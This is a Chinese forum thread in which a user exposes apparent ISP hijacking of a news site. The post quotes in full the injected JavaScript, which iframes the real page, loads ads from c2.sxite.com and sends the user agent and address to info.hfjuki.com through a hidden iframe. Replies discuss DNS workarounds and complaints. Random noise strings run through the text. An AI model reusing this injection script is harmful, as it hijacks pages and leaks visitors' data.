上网奇遇记

hudba

9 e  W' \2 V* ~, q" O* w& M上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了

6 f! g. C2 A# n4 q* y. w0 t6 _接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

顺便查下ip138：

这是那段js里面的代码，好象是个半成品还没写入广告数据：
& y8 g% l6 h( |9 t! L$ P# d+ @4 c

1. function locationSearch() {
   - J7 s+ f3 ?8 q
2.         var s = getMainJs();
   8 y) u  R! q" |- z6 l
3.         if (s == null) {
   
4.                 location.reload();
   
5.         }
   * i& k1 @" W7 O
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   
7. }
   # Z8 @7 B& C2 b" r0 v: v# P. @
8. 
   ! Y( H2 o8 A! p+ _
9. function getParameter(name, paraStr) {
   1 Q6 O7 ~+ ]: T/ e; a6 N. Y. U
10.         var result = "";
    9 M% q: M: v* o; |( [, T
11.         var str = "&" + paraStr.split("?")[1];
    
12.         var paraName = "&" + name + "=";
    6 M, S: L5 I; p" j
13.         if (str.indexOf(paraName) != -1) {
    1 ~2 F/ R6 a) \
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    ' J5 i8 e6 X+ g) A
17.                                         1, TmpStr.length).indexOf("&")
    
18.                                         - TmpStr.indexOf(paraName) + 1);
    
19.                 } else {
    
20.                         result = str.substring(str.indexOf(paraName), str.length);
    
21.                 }
    
22. 
    
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    ) h  J* J: _5 ]# b4 E3 |
24.         } else {
    
25.                 result = "No such parameter";
      _# I, C$ t) M
26.         }
    
27.         return (result.replace("&", ""));
    
28. }
    
29. 
    7 t) u# I; {4 n5 D0 l; z/ h
30. function getMainJs() {
    
31.         var scripts = document.getElementsByTagName("script");
    ' r, l" l" P/ h  r
32.         var s = null;
    ! T/ v# M4 b3 Q. W: L5 ]
33.         for (var i = 0; i < scripts.length; i++) {
    
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    
35.                         s = scripts[i];
    
36.                         break;
    
37.                 }
    
38.         }
    
39.         return s;
    # p0 Z. T( M) Q& K% [9 n; [
40. }
    
41. 
    
42. function appendParam(oStr, aStr) {
      c4 {& G, m0 j* C( V. o5 p
43.         if (oStr.indexOf('?') > 0) {
    $ }$ C3 p2 H# x/ {, t; A
44.                 oStr = oStr + "&" + aStr;
    ) J( X  C1 D; o8 R$ {) s. y
45.         } else {
    . ~$ U! {# J  g% @1 F3 f
46.                 oStr = oStr + "?" + aStr;
    
47.         }
    * P* h& N  `+ u& S$ m& s
48.         return oStr;
    
49. }
    
50. 
    3 ], w7 e; h/ a4 `' _# [. B3 I5 v
51. window.onerror = function() {
    3 g5 d* O2 ^& B* l- \" k
52. };
    
53. 
    
54. var g_titleTime = 0;
    
55. function setTcTitle() {
    , ~) ]8 g2 ?* d. e8 a0 b3 ]
56.         if (undefined == document) {
    ( N; Q* b% z/ D
57.                 g_titleTime++;
    
58.                 setTimeout("setTcTitle();", 1000);
    
59.                 return;
    
60.         }
    
61. 
    ; C) F7 P6 a# X" Q
62.         var doc;
    8 z9 X# U3 q+ R+ j
63.         try {
    
64.                 if (document.all) {
    
65.                         doc = document.frames["cn"].document;
    
66.                 } else {
    
67.                         doc = document.getElementById("cn").contentDocument;
    
68.                 }
    2 ]! Y; k+ B( {1 t1 C1 z& m
69.         } catch (ex) {
    0 I/ ^1 \& j' L
70.         }
    
71. 
    
72.         if (g_titleTime < 5
    # Q+ D9 S- y$ j, Y6 _
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    
74.                 g_titleTime++;
    ( f2 f8 i# D1 _' t6 p5 k9 @* j9 ]8 p
75.                 setTimeout("setTcTitle();", 1000);
    3 ^* U. ?, V9 v, U: F* n$ g
76.                 return;
    % h+ k" j3 U& R4 Z8 X" g( U
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    6 q4 d8 Y( X) J; ?% T, B
78.                 document.title = doc.title;
    
79.                 setTcAdvVisible();
    
80.         }
    0 ?+ C, @6 O# W& F1 n( Y
81. }
    # r0 C3 q; b. ?" f
82. 
    ) K5 p+ I/ _8 _; J
83. setTimeout("setTcTitle();", 1000);
    $ q9 r& ?+ E: N5 `3 [( P
84. 
    
85. var g_isHaveVisible = false;
    
86. function setTcAdvVisible() {
    " u7 z5 [3 c& @
87.         if (undefined != document && undefined != document.getElementById("addiv")
    & l3 K+ z! [. X; w$ S
88.                         && !g_isHaveVisible) {
      r0 [" ]9 }$ x8 i4 m# a6 E( l. r" U, }
89.                 document.getElementById("addiv").style.visibility = 'visible';
    3 U$ j* a0 N" \- E0 j# c
90.                 document.getElementById("addiv").style.display = 'block';
    ! H3 u5 s9 ]4 H% ]1 @
91.                 g_isHaveVisible = true;
    . s0 _, X5 p! _& t
92.         }
    6 _' p% g0 h/ V1 K% ~
93. }
    
94. 
    
95. function UrlAnalyzer() {
    
96.         this.divda = "";
    $ `& |+ r8 R/ b) {: _
97.         this.tctype = "";
    1 z* k; e. k! c' c2 ~9 @9 b
98.         this.radius = "";
    : G- e' x+ }' M8 [! S1 A: Q
99.         this.rlu = "";
    
100. }
     
101. 
     
102. UrlAnalyzer.prototype.initParameters = function() {
     
103.         var paraStr = locationSearch();
     
104.         this.rlu = getParameter("lruedct", paraStr);
     
105.         this.divda = getParameter("divda", paraStr);
     
106.         this.radius = getParameter("radius", paraStr);
     
107.         this.tctype = getParameter("tctype", paraStr);
     
108.         this.address = getParameter("address", paraStr);
     
109.         this.usagent = getParameter("usagent", paraStr);
     
110. }
     8 f: k' k# |3 L: n
111. 
     + N1 \* v+ I% a9 W9 s
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     ' ^- I( L5 c: a8 x; r8 S3 O
113.         var doc;
     
114.         try {
     - B" t- @- j" K( w* G5 U6 ~1 [7 |
115.                 if (document.all) {
     9 J+ o8 j* ?9 c; H
116.                         doc = document.frames["cn"].document;
     3 P$ F: F6 v$ Z; c+ X
117. 
     
118.                 } else {
     ' A9 ]' n' W( n- ?. V! q
119.                         doc = document.getElementById("cn").contentDocument;
     9 y+ o# k: M' }
120.                         // doc = document.getElementById("cn").contentWindow.document;
     8 s6 O8 m+ m3 `
121.                 }
     " a/ H- W5 x: }3 r
122.         } catch (ex) {
     
123.         }
     4 {$ I) Y2 x1 z; ~8 P. n; Y& V
124.         return doc;
     6 p% u, |8 M: I6 j
125. }
     ) R" t- w/ O* W: a& }1 O. U" V( l
126. 
     
127. UrlAnalyzer.prototype.setDomain = function() {
     
128.         if (undefined != document.title && "" == document.title)
     
129.         {
     
130.                 var index = document.domain.indexOf(".");
     4 @, ?( a( S; X! ^
131.                 if (undefined != index && -1 != index) {
     
132.                         document.domain = document.domain.substring(index + 1,
     + {2 ?2 F3 {2 `, c3 u# H; F  f
133.                                         document.domain.length);
     
134.                 }
     : m; ^$ q" H: a; Z
135.                
     
136.                 var doc = this.getHtmlDoc();
     " z  A: e, k1 m1 [6 x- n
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
138.                         document.title = doc.title;
     " _2 K9 l* Y% F) o- k2 E' u; k
139.                         setTcAdvVisible();
     
140.                 }
     3 ^3 }: l2 r6 Z+ X
141.         }
     2 @6 @# R7 k! c1 L8 s2 r; j6 ?
142. }
     ! |% e& A) y! I& H9 ~
143. 
     
144. UrlAnalyzer.prototype.iframeCallback = function() {
     . M6 l0 y/ I" ?$ S6 X' |+ t" l
145.         var doc = this.getHtmlDoc();
     
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     * |: {, u, V6 D: j3 T) V" d7 m. v; l
147.                 if (undefined != document.domain) {
     ! O1 o$ ], S. i$ Y5 X( D/ S# I
148. 
     0 u% u. o  R* H- y' ~+ ]7 [+ u' z$ M3 Y
149.                         var self = this;
     $ ?' g) s2 ?. c9 x* y
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     : N# t$ ]/ |4 x; ^  L$ m0 B) b$ F: n
151.                         // var index = document.domain.indexOf(".");
     
152.                         // if (undefined != index && -1 != index) {
     
153.                         // document.domain = document.domain.substring(index + 1,
     
154.                         // document.domain.length);
     
155.                         // }
     
156.                         //
     
157.                         // var doc = this.getHtmlDoc();
     
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     
159.                         // doc.title) {
     
160.                         // document.title = doc.title;
     7 n$ u  K1 s. X" Y) ^* _% u
161.                         // setTcAdvVisible();
     
162.                         // }
     
163.                 }
     5 p9 ]! u( U3 I+ _$ k) U
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
165.                 document.title = doc.title;
     ; H" v5 B  e5 @. i
166.                 setTcAdvVisible();
     " h2 ?, b+ i! |! {# t
167.         }
     
168. }
     * {/ S2 Z* `" h# B$ R
169. 
     7 {+ K4 Z$ q! ~7 F
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     5 }7 T" ^' T0 U' W* [
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
     + ?! n6 o/ A3 F3 h  u) Y& _! b) U
173. 
     ) ^/ p) J, u. U: k! D
174.         var htmlStr = "<iframe src="" + staUrl
     3 I% W4 m6 D. n& a! b+ r
175.                         + "" style="display:none"></iframe>";
     
176. 
     - W& S8 I/ }* A; T5 R
177.         var advUrl = htmlStr
     ; A3 z8 p8 r' r& [
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
     
180.         document.write(advUrl);
     
181. 
     
182.         var self = this;
     
183.         var iframe = document.getElementById("cn");
     
184.         if (iframe.attachEvent) {
     
185.                 iframe.attachEvent("onload", function() {
     
186.                         self.iframeCallback.call(self, null);
     # @& }, o8 y% `; E* }; q
187.                 });
       D0 }1 Z  g' k4 g
188.         } else {
     
189.                 iframe.onload = function() {
     . h3 W* ]' ~( R+ q- U; B
190.                         self.iframeCallback.call(self, null);
     
191.                 }
     ) x! X! C. F( {$ \: R5 f9 i- T7 ^
192.         }
     $ k" i9 E8 @0 r. D
193. }
     
194. 
     ; O' b0 I4 W% [# i  H
195. UrlAnalyzer.prototype.executeMain = function() {
     
196.         var mainFrame = document.getElementById("cn");
     
197.         mainFrame.contentWindow.location.href = mainFrame.src;
     
198.         this.initParameters();
     
199.         this.executeHtmlContext();
     
200. }
     
201. 
     
202. var g_analyzer = new UrlAnalyzer();
     
203. g_analyzer.executeMain();
     

复制代码

8 W; w( \% V0 ^; f1 q$ ~0 Y1 B
" A% o. f* n0 B( i
7 j( s* A$ O. ^, h

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

TCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
TCP劫持，换DNS也不管用的。

幸好联通还木有这么强的技术

哈默

在国内，习惯就好